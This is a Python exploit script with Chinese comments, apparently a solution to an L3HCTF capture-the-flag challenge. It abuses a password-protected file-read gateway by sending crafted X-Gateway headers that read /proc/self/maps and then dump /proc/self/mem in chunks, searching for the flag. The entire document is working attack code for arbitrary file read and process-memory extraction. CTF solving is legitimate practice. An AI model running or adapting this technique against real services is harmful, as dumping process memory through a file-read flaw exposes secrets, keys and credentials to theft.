def get_readable_ranges():
headers = {
"X-Gateway-Password": PASSWORD,
"X-Gateway-Filename": "/proc/self/maps",
"X-Gateway-Start": "0",
"X-Gateway-Length": "65536"
}
print("[*] 请求 /proc/self/maps ...")
r = requests.get(TARGET, headers=headers)
if r.status_code != 200:
raise RuntimeError(f"无法读取 maps: {r.status_code}")
ranges = []
for line in r.text.splitlines():
m = re.match(r'^([0-9a-fA-F]+)-([0-9a-fA-F]+) ([rwxp\-]{4})', line)
if m and 'r' in m.group(3):
start = int(m.group(1), 16)
end = int(m.group(2), 16)
ranges.append((start, end))
print(f"[+] 找到 {len(ranges)} 个可读内存段")
return ranges
# === 搜索内存中包含 flag 的区域 ===
def search_flag_in_mem(ranges):
for start, end in ranges:
print(f"[*] 扫描内存段: {hex(start)} - {hex(end)}")
offset = 0
while start + offset < end:
size = min(CHUNK_SIZE, end - (start + offset))
headers = {
"X-Gateway-Password": PASSWORD,
"X-Gateway-Filename": "/proc/self/mem",
"X-Gateway-Start": str(start + offset),
"X-Gateway-Length": str(size)
}
try:
r = requests.get(TARGET, headers=headers, timeout=5)
if r.status_code != 200:
print(f"[!] 读取失败 status={r.status_code} offset={offset}")
break
data = r.content
if FLAG_PREFIX in data:
index = data.find(FLAG_PREFIX)
# 简单截断 flag(直到遇到右大括号或 50 字节以内)
tail = data[index:index + 50]
match = re.search(rb'L3HCTF\{[^\}]{1,48}\}', tail)
if match:
print(f"\n🎉 找到 flag: {match.group(0).decode()}")
return True
else:
print(f"[?] 找到前缀但无法确定完整 flag: {tail}")
return True
offset += size
except Exception as e:
print(f"[!] 请求异常: {e}")
break
print("[-] 未找到 flag")
return False
if __name__ == "__main__":
ranges = get_readable_ranges()
found = search_flag_in_mem(ranges)
if not found:
print("[-] flag 未找到")